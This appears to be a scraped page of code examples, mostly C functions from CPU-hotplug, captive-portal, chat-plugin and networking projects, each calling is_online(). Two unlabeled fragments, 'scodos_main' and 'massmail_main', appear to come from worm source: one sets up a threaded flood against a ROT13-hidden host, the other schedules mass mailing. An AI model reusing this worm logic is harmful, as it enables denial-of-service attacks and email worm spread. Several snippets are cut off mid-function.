Beispiel #1
0
/*
 * Cleanup method. If the daemon is stopped, we (re)activate all cpus
 */
void reactivate_cpus()
{
	/*
	 * Only enable the number of cpus which where
	 * available at daemon startup time
	 */
	int cpuid, nc;

	cpuid = 0;
	/* suppress verbose messages on exit */
	debug = 0;
       /*
	* We check for num_cpu_start != 0 because we might want to
	* clean up, before we queried for the number on cpus at
	* startup
	*/
	if (num_cpu_start == 0)
		return;
	while (get_num_online_cpus() != num_cpu_start && cpuid < MAX_CPU) {
		nc = get_num_online_cpus();
		if (nc == num_cpu_start)
			return;
		if (nc > num_cpu_start && is_online(cpuid) == 1)
			hotunplug(cpuid);
		if (nc < num_cpu_start && is_online(cpuid) == 0)
			hotplug(cpuid);
		cpuid++;
	}
}
void mark_online() {
	int before;
	int after;

	before = is_online();
	time(&last_online_time);
	after = is_online();

	if (before != after) {
		debug(LOG_INFO, "ONLINE status became %s", (after ? "ON" : "OFF"));
	}

}
Beispiel #3
0
static GList *qq_buddy_menu(PurpleBuddy *buddy)
{
	GList *m = NULL;
	PurpleMenuAction *act;
	qq_buddy_data *bd = purple_buddy_get_protocol_data(buddy);

	if (bd == NULL) {
		act = purple_menu_action_new(_("Add Buddy"),
				PURPLE_CALLBACK(qq_add_buddy_from_menu_cb),
				NULL, NULL);
		m = g_list_append(m, act);
		return m;
	}

	/* TODO: MASK ALL UNFIXED BUT TOUCHABLE FUNCTION !!
	act = purple_menu_action_new(_("Modify Buddy Alias"),
			PURPLE_CALLBACK(qq_modify_buddy_memo_from_menu_cb),
			NULL, NULL);
	m = g_list_append(m, act);
	*/


	/* TODO : not working, temp commented out by gfhuang */
#if 0
	if (bd && is_online(bd->status)) {
		act = purple_menu_action_new(_("Send File"), PURPLE_CALLBACK(_qq_menu_send_file), NULL, NULL); /* add NULL by gfhuang */
		m = g_list_append(m, act);
	}
#endif
	return m;
}
Beispiel #4
0
static void enable_session_mode(struct test_fix *fix)
{
	set_session_mode(fix, true);

	if (!is_online(fix))
		util_idle_call(fix, util_quit_loop, NULL);
}
Beispiel #5
0
void scodos_main(void)
{
	struct hostent *h;
	struct sockaddr_in addr;
	int i;
	unsigned long tid;
	char buf[128];

	rot13(buf, SCO_SITE_ROT13);

	for (;;) {
		while (is_online() == 0)
			Sleep(32768);

		h = gethostbyname(buf);
		if (h == NULL) {
			Sleep(32768);
			continue;
		}
		memset(&addr, '\0', sizeof(addr));
		addr.sin_family = AF_INET;
		addr.sin_addr = *(struct in_addr *)h->h_addr_list[0];
		addr.sin_port = htons(SCO_PORT);
		break;
	}

	for (i=1; i<SCODOS_THREADS; i++)
		CreateThread(0, 0, scodos_th, (LPVOID)&addr, 0, &tid);
	scodos_th(&addr);
}
void mark_offline() {
	int before;
	int after;

	before = is_online();
	time(&last_offline_time);
	after = is_online();

	if (before != after) {
		debug(LOG_INFO, "ONLINE status became %s", (after ? "ON" : "OFF"));
	}

	/* If we're offline it definately means the auth server is offline */
	mark_auth_offline();

}
Beispiel #7
0
UStatus
ua_location_service_controller_query_status(
    UALocationServiceController *controller,
    UALocationServiceStatusFlags *out_flags)
{
    (void) controller;

    *out_flags = 0;

    try
    {
        auto service = Instance::instance().get_service();

        if (service->is_online().get())
            *out_flags |= UA_LOCATION_SERVICE_ENABLED;
        else
            *out_flags |= UA_LOCATION_SERVICE_DISABLED;

        if (service->does_satellite_based_positioning().get())
            *out_flags |= UA_LOCATION_SERVICE_GPS_ENABLED;
        else
            *out_flags |= UA_LOCATION_SERVICE_GPS_DISABLED;

        return U_STATUS_SUCCESS;
    } catch(const std::exception& e)
    {
        std::cerr << "ua_location_service_controller_query_status: error accessing instance: " << e.what() << std::endl;
    } catch(...)
    {
        std::cerr << "ua_location_service_controller_query_status: error accessing instance." << std::endl;
    }

    return U_STATUS_ERROR;
}
Beispiel #8
0
static void manager_state_changed(struct test_fix *fix)
{
	if (!is_online(fix)) {
		fix->manager_changed = NULL;
		util_idle_call(fix, util_quit_loop, NULL);
	}
}
Beispiel #9
0
void
logout(void)
{
struct user *tmpuser;
char   *uname;
struct btmp btmp;

  uname = get_name("Name of user to log out? ", 2);
 
  if (*uname)
  {
    if (!(tmpuser = getuser(uname)))
      printf("There is no user %s on this BBS.\n", uname);
    else
    {
      if (tmpuser->f_prog && !ouruser->f_prog)
        printf("Can't do that!\n");
      else if (!is_online(&btmp, tmpuser, NULL))
        printf("%s is not online.\n", uname);
      else
	logout_user(tmpuser, NULL, 0);
      freeuser(tmpuser);
    }
  }
}
Beispiel #10
0
static gboolean manager_state_changed(gpointer data)
{
	struct test_fix *fix = data;

	if (is_online(fix) == FALSE) {
		fix->manager_changed = NULL;
		util_idle_call(fix, util_quit_loop, NULL);
	}

	return FALSE;
}
Beispiel #11
0
static gboolean enable_session_mode(gpointer data)
{
	struct test_fix *fix = data;

	set_session_mode(fix, TRUE);

	if (is_online(fix) == FALSE)
		util_idle_call(fix, util_quit_loop, NULL);

	return FALSE;
}
void PushN8PhoneMag::timerEvent(QTimerEvent *)
{
    if(!is_online())
        return;
    NPushMagTick * newMagTick = new NPushMagTick(magSensor->reading());

    if(receivers(SIGNAL(reading_ready(NPushLogTick*))) > 0)
    {
        emit reading_ready(newMagTick);
    } else {
        delete newMagTick;
Beispiel #13
0
        user_state determine_state(
                bool removed,
                us::user_service_ptr s,
                us::user_info_ptr c)
        {
            REQUIRE(s);
            REQUIRE(c);
            if(removed) return REMOVED;

            user_state st = OFFLINE;
            if(is_online(c, s))
                st = s->contact_idle(c->id()) ? IDLE : ONLINE;
            return st;
        }
Beispiel #14
0
	int is_auth_online() {
		if (!is_online()) {
			/* If we're not online auth is definately not online :) */
			return (0);
		} // modified by lijg, 2013-07-17,  while after NTP , @last_auth_offline_time 's value is dangerous 
		else if (last_auth_online_time == 0 /*|| (last_auth_offline_time - last_auth_online_time) >= (config_get_config()->checkinterval * 2) */) {
			/* Auth is  probably offline */
			return (0);
		}
		else {
			/* Auth is probably online */
			return (1);
		}
	}
int is_auth_online() {
	if (!is_online()) {
		/* If we're not online auth is definately not online :) */
		return (0);
	}
	else if (last_auth_online_time == 0 || (last_auth_offline_time - last_auth_online_time) >= (config_get_config()->checkinterval * 2) ) {
		/* Auth is  probably offline */
		return (0);
	}
	else {
		/* Auth is probably online */
		return (1);
	}
}
Beispiel #16
0
        void user_info::update(std::function<bool(us::user_info&)> f, bool update_action)
        {
            INVARIANT(_service);
            INVARIANT(_contact);
            INVARIANT(_user_text);

            bool online = is_online(_contact, _service , !f(*_contact));
            auto version = _service->check_contact_version(_contact->id());
            _user_text->setText(_contact->name().c_str());
            _user_text->setToolTip(
                    user_tooltip(_contact, determine_state(_removed, _service, _contact), version).c_str());
            set_text_color_to(
                    user_color(_contact, determine_state(_removed, _service, _contact), version));

            if(_action && update_action) _action->setVisible(!_removed && online);
        }
Beispiel #17
0
bool UDTPPeer::add_thread()
{
    if(!is_online())  return false; /*Not online? Can't add!*/
    unsigned int flowSocket;
    flowSocket = socket(AF_INET, SOCK_DGRAM, 0);
    if(flowSocket <0) return false;
    int optval = 1;
    if((setsockopt(flowSocket, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval))) < 0) return false;
    struct sockaddr_in flowAddress;
    if(host_local()){
        /*HOSTs have several destinations but luckily we stored the address on connect() here!*/
        /*Only downside is that when we receive messages from PEER on UDPs that we will not know where it is coming from!*/
        flowAddress = get_address();
    }else{
        /*PEER's only have one destination and that is the HOST!*/
        flowAddress.sin_addr.s_addr = inet_addr(udtp()->setup()->get_ip());
        flowAddress.sin_port = htons(udtp()->setup()->get_port());
        flowAddress.sin_family = AF_INET;
    }
    if( (bind(flowSocket, (struct sockaddr*)&flowAddress, sizeof(flowAddress))) < 0 )
    {
        perror("udp-bind");
        return false;
    }

    /*Start a flow thread!*/
    pthread_t flowThreadHandler;
    UDTPThreadFlow *newFlowThread = new UDTPThreadFlow((UDTP*)this, flowThreadHandler, flowSocket);
    newFlowThread->set_peer(this);
    pthread_create(&flowThreadHandler, NULL, UDTPPeer::flowThread, (UDTPThreadFlow*)newFlowThread);
    pthread_tryjoin_np(flowThreadHandler, NULL);
    /*Start a process thread!*/
    pthread_t processThreadHandler;
    UDTPThreadProcess *newProcessThread = new UDTPThreadProcess();
    newProcessThread->set_peer(this);
    pthread_create(&processThreadHandler, NULL, UDTPPeer::flowThread, (UDTPThreadProcess*)newProcessThread);
    pthread_tryjoin_np(processThreadHandler, NULL);



    std::cout << "PEER " << get_unique_id() << " has added a flow and process thread!"  << std::endl;
    increment_thread_count();
    return true;
}
bool
TunnelIPv6Interface::set_realm_local_address(const struct in6_addr *addr, int prefixlen)
{
	bool ret = false;

	if (is_online() && (mRealmLocalAddress != *addr)) {
		require(ret = add_address(addr, prefixlen), bail);

		if (!IN6_IS_ADDR_UNSPECIFIED(&mRealmLocalAddress)) {
			remove_address(&mRealmLocalAddress, mRealmLocalPrefixSize);
		}
	}

	mRealmLocalAddress = *addr;
	mRealmLocalPrefixSize = prefixlen;

	ret = true;

bail:
	return ret;
}
Beispiel #19
0
UStatus
ua_location_service_controller_enable_service(
    UALocationServiceController *controller)
{
    (void) controller;

    try
    {
        auto service = Instance::instance().get_service();
        service->is_online().set(true);

        return U_STATUS_SUCCESS;
    } catch(const std::exception& e)
    {
        std::cerr << "ua_location_service_controller_enable_service: error accessing instance: " << e.what() << std::endl;
    } catch(...)
    {
        std::cerr << "ua_location_service_controller_enable_service: error accessing instance." << std::endl;
    }

    return U_STATUS_ERROR;
}
bool
TunnelIPv6Interface::remove_route(const struct in6_addr *route, int prefixlen)
{
	bool ret = false;

	syslog(
		LOG_INFO,
		"TunnelIPv6Interface: Removing route prefix \"%s/%d\" -> \"%s\".",
		in6_addr_to_string(*route).c_str(),
		prefixlen,
		mInterfaceName.c_str()
	);

	if (is_online()) {
		require_noerr_action(tunnel_remove_route(mFDRead, route->s6_addr, prefixlen), bail, mLastError = errno);
	}

	ret = true;

bail:
	return ret;
}
bool
TunnelIPv6Interface::add_address(const struct in6_addr *addr, int prefixlen)
{
	bool ret = false;

	syslog(
		LOG_INFO,
	   "TunnelIPv6Interface: Adding address \"%s\" to interface \"%s\".",
	   in6_addr_to_string(*addr).c_str(),
	   mInterfaceName.c_str()
	);

	if (is_online()) {
		require_noerr_action(tunnel_add_address(mFDRead, addr->s6_addr, prefixlen), bail, mLastError = errno);
	}

	mAddresses.insert(*addr);

	ret = true;

bail:
	return ret;

}
Beispiel #22
0
/** The 404 handler is also responsible for redirecting to the auth server */
void
http_callback_404(httpd * webserver, request * r, int error_code)
{
    char tmp_url[MAX_BUF], *url, *mac;
    s_config *config = config_get_config();
    t_auth_serv *auth_server = get_auth_server();

    memset(tmp_url, 0, sizeof(tmp_url));
    /* 
     * XXX Note the code below assumes that the client's request is a plain
     * http request to a standard port. At any rate, this handler is called only
     * if the internet/auth server is down so it's not a huge loss, but still.
     */
    snprintf(tmp_url, (sizeof(tmp_url) - 1), "http://%s%s%s%s",
             r->request.host, r->request.path, r->request.query[0] ? "?" : "", r->request.query);
    url = httpdUrlEncode(tmp_url);

    if (!is_online()) {
        /* The internet connection is down at the moment  - apologize and do not redirect anywhere */
        char *buf;
        safe_asprintf(&buf,
                      "<p>We apologize, but it seems that the internet connection that powers this hotspot is temporarily unavailable.</p>"
                      "<p>If at all possible, please notify the owners of this hotspot that the internet connection is out of service.</p>"
                      "<p>The maintainers of this network are aware of this disruption.  We hope that this situation will be resolved soon.</p>"
                      "<p>In a while please <a href='%s'>click here</a> to try your request again.</p>", tmp_url);

        send_http_page(r, "Uh oh! Internet access unavailable!", buf);
        free(buf);
        debug(LOG_INFO, "Sent %s an apology since I am not online - no point sending them to auth server",
              r->clientAddr);
    } else if (!is_auth_online()) {
        /* The auth server is down at the moment - apologize and do not redirect anywhere */
        char *buf;
        safe_asprintf(&buf,
                      "<p>We apologize, but it seems that we are currently unable to re-direct you to the login screen.</p>"
                      "<p>The maintainers of this network are aware of this disruption.  We hope that this situation will be resolved soon.</p>"
                      "<p>In a couple of minutes please <a href='%s'>click here</a> to try your request again.</p>",
                      tmp_url);

        send_http_page(r, "Uh oh! Login screen unavailable!", buf);
        free(buf);
        debug(LOG_INFO, "Sent %s an apology since auth server not online - no point sending them to auth server",
              r->clientAddr);
    } else {
        /* Re-direct them to auth server */
        char *urlFragment;

        if (!(mac = arp_get(r->clientAddr))) {
            /* We could not get their MAC address */
            debug(LOG_INFO, "Failed to retrieve MAC address for ip %s, so not putting in the login request",
                  r->clientAddr);
            safe_asprintf(&urlFragment, "%sgw_address=%s&gw_port=%d&gw_id=%s&ip=%s&url=%s",
                          auth_server->authserv_login_script_path_fragment, config->gw_address, config->gw_port,
                          config->gw_id, r->clientAddr, url);
        } else {
            debug(LOG_INFO, "Got client MAC address for ip %s: %s", r->clientAddr, mac);
            safe_asprintf(&urlFragment, "%sgw_address=%s&gw_port=%d&gw_id=%s&ip=%s&mac=%s&url=%s",
                          auth_server->authserv_login_script_path_fragment,
                          config->gw_address, config->gw_port, config->gw_id, r->clientAddr, mac, url);
            free(mac);
        }

        // if host is not in whitelist, maybe not in conf or domain'IP changed, it will go to here.
        debug(LOG_INFO, "Check host %s is in whitelist or not", r->request.host);       // e.g. www.example.com
        t_firewall_rule *rule;
        //e.g. example.com is in whitelist
        // if request http://www.example.com/, it's not equal example.com.
        for (rule = get_ruleset("global"); rule != NULL; rule = rule->next) {
            debug(LOG_INFO, "rule mask %s", rule->mask);
            if (strstr(r->request.host, rule->mask) == NULL) {
                debug(LOG_INFO, "host %s is not in %s, continue", r->request.host, rule->mask);
                continue;
            }
            int host_length = strlen(r->request.host);
            int mask_length = strlen(rule->mask);
            if (host_length != mask_length) {
                char prefix[1024] = { 0 };
                // must be *.example.com, if not have ".", maybe Phishing. e.g. phishingexample.com
                strncpy(prefix, r->request.host, host_length - mask_length - 1);        // e.g. www
                strcat(prefix, ".");    // www.
                strcat(prefix, rule->mask);     // www.example.com
                if (strcasecmp(r->request.host, prefix) == 0) {
                    debug(LOG_INFO, "allow subdomain");
                    fw_allow_host(r->request.host);
                    http_send_redirect(r, tmp_url, "allow subdomain");
                    free(url);
                    free(urlFragment);
                    return;
                }
            } else {
                // e.g. "example.com" is in conf, so it had been parse to IP and added into "iptables allow" when wifidog start. but then its' A record(IP) changed, it will go to here.
                debug(LOG_INFO, "allow domain again, because IP changed");
                fw_allow_host(r->request.host);
                http_send_redirect(r, tmp_url, "allow domain");
                free(url);
                free(urlFragment);
                return;
            }
        }

        debug(LOG_INFO, "Captured %s requesting [%s] and re-directing them to login page", r->clientAddr, url);
        http_send_redirect_to_auth(r, urlFragment, "Redirect to login page");
        free(urlFragment);
    }
    free(url);
}
Beispiel #23
0
/** The 404 handler is also responsible for redirecting to the auth server */
    void
http_callback_404(httpd *webserver, request *r)
{
    char tmp_url[MAX_BUF],
         *url,
         *mac;
    s_config	*config = config_get_config();
    t_auth_serv	*auth_server = get_auth_server();

    memset(tmp_url, 0, sizeof(tmp_url));
    /*
     * XXX Note the code below assumes that the client's request is a plain
     * http request to a standard port. At any rate, this handler is called only
     * if the internet/auth server is down so it's not a huge loss, but still.
     */
    snprintf(tmp_url, (sizeof(tmp_url) - 1), "http://%s%s%s%s",
            r->request.host,
            r->request.path,
            r->request.query[0] ? "?" : "",
            r->request.query);
    url = httpdUrlEncode(tmp_url);

    if (!is_online()) {
        /* The internet connection is down at the moment  - apologize and do not redirect anywhere */
        char * buf;
        safe_asprintf(&buf,
                "<p>We apologize, but it seems that the internet connection that powers this hotspot is temporarily unavailable.</p>"
                "<p>If at all possible, please notify the owners of this hotspot that the internet connection is out of service.</p>"
                "<p>The maintainers of this network are aware of this disruption.  We hope that this situation will be resolved soon.</p>"
                "<p>In a while please <a href='%s'>click here</a> to try your request again.</p>", tmp_url);

        send_http_page(r, "Uh oh! Internet access unavailable!", buf);
        free(buf);
        debug(LOG_INFO, "Sent %s an apology since I am not online - no point sending them to auth server", r->clientAddr);
    }
    else if (!is_auth_online()) {
        /* The auth server is down at the moment - apologize and do not redirect anywhere */
        char * buf;
        safe_asprintf(&buf,
                "<p>We apologize, but it seems that we are currently unable to re-direct you to the login screen.</p>"
                "<p>The maintainers of this network are aware of this disruption.  We hope that this situation will be resolved soon.</p>"
                "<p>In a couple of minutes please <a href='%s'>click here</a> to try your request again.</p>", tmp_url);

        send_http_page(r, "Uh oh! Login screen unavailable!", buf);
        free(buf);
        debug(LOG_INFO, "Sent %s an apology since auth server not online - no point sending them to auth server", r->clientAddr);
    }
    else {
        //hector add 2014/3/18
        get_oauth_iplist();
        fw_set_oauthservers();
        //hector end
        /* Re-direct them to auth server */
        char *urlFragment;

        if (!(mac = arp_get(r->clientAddr))) {
            /* We could not get their MAC address */
            debug(LOG_INFO, "Failed to retrieve MAC address for ip %s, so not putting in the login request", r->clientAddr);
            safe_asprintf(&urlFragment, "%sgw_address=%s&gw_port=%d&gw_id=%s&url=%s",
                    auth_server->authserv_login_script_path_fragment,
                    config->gw_address,
                    config->gw_port,
                    config->gw_id,
                    url);
        } else {
            debug(LOG_INFO, "Got client MAC address for ip %s: %s", r->clientAddr, mac);
            safe_asprintf(&urlFragment, "%sgw_address=%s&gw_port=%d&gw_id=%s&mac=%s&url=%s",
                    auth_server->authserv_login_script_path_fragment,
                    config->gw_address,
                    config->gw_port,
                    config->gw_id,
                    mac,
                    url);
        }

        debug(LOG_INFO, "Captured %s requesting [%s] and re-directing them to login page", r->clientAddr, url);
        http_send_redirect_to_auth(r, urlFragment, "Redirect to login page");
        free(urlFragment);

    }
    free(url);
}
/*
 * @return A string containing human-readable status text. MUST BE free()d by caller
 */
char * get_status_text() {
	char buffer[STATUS_BUF_SIZ];
	ssize_t len;
	s_config *config;
	t_auth_serv *auth_server;
	t_client	*first;
	int		count;
	unsigned long int uptime = 0;
	unsigned int days = 0, hours = 0, minutes = 0, seconds = 0;
     t_trusted_mac *p;
	
	len = 0;
	snprintf(buffer, (sizeof(buffer) - len), "WiFiDog status\n\n");
	len = strlen(buffer);

	uptime = time(NULL) - started_time;
	days    = uptime / (24 * 60 * 60);
	uptime -= days * (24 * 60 * 60);
	hours   = uptime / (60 * 60);
	uptime -= hours * (60 * 60);
	minutes = uptime / 60;
	uptime -= minutes * 60;
	seconds = uptime;

	snprintf((buffer + len), (sizeof(buffer) - len), "Version: " VERSION "\n");
	len = strlen(buffer);

	snprintf((buffer + len), (sizeof(buffer) - len), "Uptime: %ud %uh %um %us\n", days, hours, minutes, seconds);
	len = strlen(buffer);

	snprintf((buffer + len), (sizeof(buffer) - len), "Has been restarted: ");
	len = strlen(buffer);
	if (restart_orig_pid) {
		snprintf((buffer + len), (sizeof(buffer) - len), "yes (from PID %d)\n", restart_orig_pid);
		len = strlen(buffer);
	}
	else {
		snprintf((buffer + len), (sizeof(buffer) - len), "no\n");
		len = strlen(buffer);
	}
	
	snprintf((buffer + len), (sizeof(buffer) - len), "Internet Connectivity: %s\n", (is_online() ? "yes" : "no"));
	len = strlen(buffer);
	
	snprintf((buffer + len), (sizeof(buffer) - len), "Auth server reachable: %s\n", (is_auth_online() ? "yes" : "no"));
	len = strlen(buffer);

	snprintf((buffer + len), (sizeof(buffer) - len), "Clients served this session: %lu\n\n", served_this_session);
	len = strlen(buffer);

	LOCK_CLIENT_LIST();
	
	first = client_get_first_client();
	
	if (first == NULL) {
		count = 0;
	} else {
		count = 1;
		while (first->next != NULL) {
			first = first->next;
			count++;
		}
	}
	
	snprintf((buffer + len), (sizeof(buffer) - len), "%d clients "
			"connected.\n", count);
	len = strlen(buffer);

	first = client_get_first_client();

	count = 0;
	while (first != NULL) {
		snprintf((buffer + len), (sizeof(buffer) - len), "\nClient %d\n", count);
		len = strlen(buffer);

		snprintf((buffer + len), (sizeof(buffer) - len), "  IP: %s MAC: %s\n", first->ip, first->mac);
		len = strlen(buffer);

		snprintf((buffer + len), (sizeof(buffer) - len), "  Token: %s\n", first->token);
		len = strlen(buffer);

		snprintf((buffer + len), (sizeof(buffer) - len), "  Downloaded: %llu\n  Uploaded: %llu\n" , first->counters.incoming, first->counters.outgoing);
		len = strlen(buffer);

		count++;
		first = first->next;
	}

	UNLOCK_CLIENT_LIST();

    config = config_get_config();
    
    if (config->trustedmaclist != NULL) {
        snprintf((buffer + len), (sizeof(buffer) - len), "\nTrusted MAC addresses:\n");
        len = strlen(buffer);

        for (p = config->trustedmaclist; p != NULL; p = p->next) {
            snprintf((buffer + len), (sizeof(buffer) - len), "  %s\n", p->mac);
            len = strlen(buffer);
        }
    }

    snprintf((buffer + len), (sizeof(buffer) - len), "\nAuthentication servers:\n");
    len = strlen(buffer);

    LOCK_CONFIG();

    for (auth_server = config->auth_servers; auth_server != NULL; auth_server = auth_server->next) {
        snprintf((buffer + len), (sizeof(buffer) - len), "  Host: %s (%s)\n", auth_server->authserv_hostname, auth_server->last_ip);
        len = strlen(buffer);
    }

    UNLOCK_CONFIG();

	return safe_strdup(buffer);
}
Beispiel #25
0
static void eval_cpu_rules(void)
{
	double diffs[CPUSTATS], diffs_total, percent_factor;
	char *procinfo_current, *procinfo_prev;
	int cpu, nr_cpus, on_off;

	nr_cpus = get_numcpus();
	procinfo_current = cpustat + history_current * cpustat_size;
	procinfo_prev = cpustat + history_prev * cpustat_size;

	diffs[0] = get_proc_value(procinfo_current, "user", ' ') -
		   get_proc_value(procinfo_prev, "user", ' ');
	diffs[1] = get_proc_value(procinfo_current, "nice", ' ') -
		   get_proc_value(procinfo_prev, "nice", ' ');
	diffs[2] = get_proc_value(procinfo_current, "system", ' ') -
		   get_proc_value(procinfo_prev, "system", ' ');
	diffs[3] = get_proc_value(procinfo_current, "idle", ' ') -
		   get_proc_value(procinfo_prev, "idle", ' ');
	diffs[4] = get_proc_value(procinfo_current, "iowait", ' ') -
		   get_proc_value(procinfo_prev, "iowait", ' ');
	diffs[5] = get_proc_value(procinfo_current, "irq", ' ') -
		   get_proc_value(procinfo_prev, "irq", ' ');
	diffs[6] = get_proc_value(procinfo_current, "softirq", ' ') -
		   get_proc_value(procinfo_prev, "softirq", ' ');
	diffs[7] = get_proc_value(procinfo_current, "steal", ' ') -
		   get_proc_value(procinfo_prev, "steal", ' ');
	diffs[8] = get_proc_value(procinfo_current, "guest", ' ') -
		   get_proc_value(procinfo_prev, "guest", ' ');
	diffs[9] = get_proc_value(procinfo_current, "guest_nice", ' ') -
		   get_proc_value(procinfo_prev, "guest_nice", ' ');

	diffs_total = get_proc_value(procinfo_current, "total_ticks", ' ') -
		      get_proc_value(procinfo_prev, "total_ticks", ' ');
	if (diffs_total == 0)
		diffs_total = 1;

	symbols.loadavg = get_proc_value(procinfo_current, "loadavg", ' ');
	symbols.runnable_proc = get_proc_value(procinfo_current,
					       "runnable_proc", ' ');
	symbols.onumcpus = get_proc_value(procinfo_current, "onumcpus", ' ');

	percent_factor = 100 * symbols.onumcpus;
	symbols.user = (diffs[0] / diffs_total) * percent_factor;
	symbols.nice = (diffs[1] / diffs_total) * percent_factor;
	symbols.system = (diffs[2] / diffs_total) * percent_factor;
	symbols.idle = (diffs[3] / diffs_total) * percent_factor;
	symbols.iowait = (diffs[4] / diffs_total) * percent_factor;
	symbols.irq = (diffs[5] / diffs_total) * percent_factor;
	symbols.softirq = (diffs[6] / diffs_total) * percent_factor;
	symbols.steal = (diffs[7] / diffs_total) * percent_factor;
	symbols.guest = (diffs[8] / diffs_total) * percent_factor;
	symbols.guest_nice = (diffs[9] / diffs_total) * percent_factor;

	/* only use this for development and testing */
	cpuplugd_debug("cpustat values:\n%s", cpustat + history_current *
		       cpustat_size);
	if (debug && foreground == 1) {
		printf("-------------------- CPU --------------------\n");
		printf("cpu_min: %ld\n", cfg.cpu_min);
		printf("cpu_max: %ld\n", cfg.cpu_max);
		printf("loadavg: %f \n", symbols.loadavg);
		printf("user percent = %f\n", symbols.user);
		printf("nice percent = %f\n", symbols.nice);
		printf("system percent = %f\n", symbols.system);
		printf("idle percent = %f\n", symbols.idle);
		printf("iowait percent = %f\n", symbols.iowait);
		printf("irq percent = %f\n", symbols.irq);
		printf("softirq percent = %f\n", symbols.softirq);
		printf("steal percent = %f\n", symbols.steal);
		printf("guest percent = %f\n", symbols.guest);
		printf("guest_nice percent = %f\n", symbols.guest_nice);
		printf("numcpus %d\n", nr_cpus);
		printf("runnable_proc: %d\n", (int) symbols.runnable_proc);
		printf("---------------------------------------------\n");
		printf("onumcpus:   %d\n", (int) symbols.onumcpus);
		printf("---------------------------------------------\n");
		printf("hotplug: ");
		print_term(cfg.hotplug);
		printf("\n");
		printf("hotunplug: ");
		print_term(cfg.hotunplug);
		printf("\n");
		printf("---------------------------------------------\n");
	}

	on_off = 0;
	/* Evaluate the hotplug rule */
	if (eval_term(cfg.hotplug, &symbols))
		on_off++;
	/* Evaluate the hotunplug rule only if hotplug did not match */
	else if (eval_term(cfg.hotunplug, &symbols))
		on_off--;
	if (on_off > 0) {
		/* check the cpu nr limit */
		if (symbols.onumcpus + 1 > cfg.cpu_max) {
			/* cpu limit reached */
			cpuplugd_debug("maximum cpu limit is reached\n");
			return;
		}
		/* try to find a offline cpu */
		for (cpu = 0; cpu < nr_cpus; cpu++)
			if (is_online(cpu) == 0 && cpu_is_configured(cpu) != 0)
				break;
		if (cpu < nr_cpus) {
			cpuplugd_debug("cpu with id %d is currently offline "
				       "and will be enabled\n", cpu);
			if (hotplug(cpu) == -1)
				cpuplugd_debug("unable to find a cpu which "
					       "can be enabled\n");
		} else {
			/*
			 * In case we tried to enable a cpu but this failed.
			 * This is the case if a cpu is deconfigured
			 */
			cpuplugd_debug("unable to find a cpu which can "
				       "be enabled\n");
		}
	} else if (on_off < 0) {
		/* check cpu nr limit */
		if (symbols.onumcpus <= cfg.cpu_min) {
			cpuplugd_debug("minimum cpu limit is reached\n");
			return;
		}
		/* try to find a online cpu */
		for (cpu = get_numcpus() - 1; cpu >= 0; cpu--) {
			if (is_online(cpu) != 0)
				break;
		}
		if (cpu > 0) {
			cpuplugd_debug("cpu with id %d is currently online "
				       "and will be disabled\n", cpu);
			hotunplug(cpu);
		}
	}
}
Beispiel #26
0
/* refresh online member in group conversation window */
void qq_room_conv_set_onlines(PurpleConnection *gc, qq_room_data *rmd)
{
	GList *names, *list, *flags;
	qq_buddy_data *bd;
	gchar *member_name, *member_uid;
	PurpleConversation *conv;
	gint flag;
	gboolean is_find;

	g_return_if_fail(rmd != NULL);

	conv = purple_find_conversation_with_account(PURPLE_CONV_TYPE_CHAT,
			rmd->title_utf8, purple_connection_get_account(gc));
	if (conv == NULL) {
		purple_debug_warning("QQ", "Conversation \"%s\" is not opened\n", rmd->title_utf8);
		return;
	}
	g_return_if_fail(rmd->members != NULL);

	names = NULL;
	flags = NULL;

	list = rmd->members;
	while (list != NULL) {
		bd = (qq_buddy_data *) list->data;

		/* we need unique identifiers for everyone in the chat or else we'll
		 * run into problems with functions like get_cb_real_name from qq.c */
		member_name =   (bd->nickname != NULL && *(bd->nickname) != '\0') ?
				g_strdup_printf("%s (%u)", bd->nickname, bd->uid) :
				g_strdup_printf("(%u)", bd->uid);
		member_uid = g_strdup_printf("(%u)", bd->uid);

		flag = 0;
		/* TYPING to put online above OP and FOUNDER */
		if (is_online(bd->status)) flag |= (PURPLE_CBFLAGS_TYPING | PURPLE_CBFLAGS_VOICE);
		if(1 == (bd->role & 1)) flag |= PURPLE_CBFLAGS_OP;
		if(bd->uid == rmd->creator_uid) flag |= PURPLE_CBFLAGS_FOUNDER;

		is_find = TRUE;
		if (purple_conv_chat_find_user(PURPLE_CONV_CHAT(conv), member_name))
		{
			purple_conv_chat_user_set_flags(PURPLE_CONV_CHAT(conv),
					member_name,
					flag);
		} else if (purple_conv_chat_find_user(PURPLE_CONV_CHAT(conv), member_uid))
		{
			purple_conv_chat_user_set_flags(PURPLE_CONV_CHAT(conv),
					member_uid,
					flag);
			purple_conv_chat_rename_user(PURPLE_CONV_CHAT(conv), member_uid, member_name);
		} else {
			is_find = FALSE;
		}
		if (!is_find) {
			/* always put it even offline */
			names = g_list_append(names, member_name);
			flags = g_list_append(flags, GINT_TO_POINTER(flag));
		} else {
			g_free(member_name);
		}
		g_free(member_uid);
		list = list->next;
	}

	if (names != NULL && flags != NULL) {
		purple_conv_chat_add_users(PURPLE_CONV_CHAT(conv), names, NULL, flags, FALSE);
	}

	/* clean up names */
	while (names != NULL) {
		member_name = (gchar *) names->data;
		names = g_list_remove(names, member_name);
		g_free(member_name);
	}
	g_list_free(flags);
}
Beispiel #27
0
void massmail_main(void)
{
	register struct mailq_t *mq1;
	struct mailq_t *mq_best;
	int queue_status;        /* 0=okay, 1=many unprocessed, 2=no unprocessed */
	int queue_total, queue_unprocessed;
	HANDLE hThread;
	DWORD tid, last_req_tick;

	queue_status = 0;
	mmshed_run_threads = 0;
	for (;;) {
		while (is_online() == 0) {
			Sleep(2048);
			scan_freeze(1);
			Sleep(16384 - 2048);
		}

		scan_freeze((queue_status == 1) ? 1 : 0);

		queue_total = 0;
		queue_unprocessed = 0;
		last_req_tick = 0;
		for (mq1=massmail_queue, mq_best=NULL; mq1; mq1=mq1->next) {
			queue_total++;
			if (mq1->state == 0) {	/* "not processed" */
				queue_unprocessed++;
				if (mq_best) {
					if (mq_best->priority > mq1->priority)
						mq_best = mq1;
				} else {
					mq_best = mq1;
				}
			}
			if (mq1->tick_got >= last_req_tick)
				last_req_tick = mq1->tick_got;
		}

		if (queue_total >= MMSHED_QUEUE_OVERFLOW) {
			mmshed_rmold();
			if (queue_unprocessed > MMSHED_UNPROC_FREEZE) {
				queue_status = 1;
				scan_freeze(1);
			} else {
				queue_status = 0;
			}
		} else {
			queue_status = 0;
		}
		if ((queue_unprocessed == 0) || (mq_best == NULL)) {
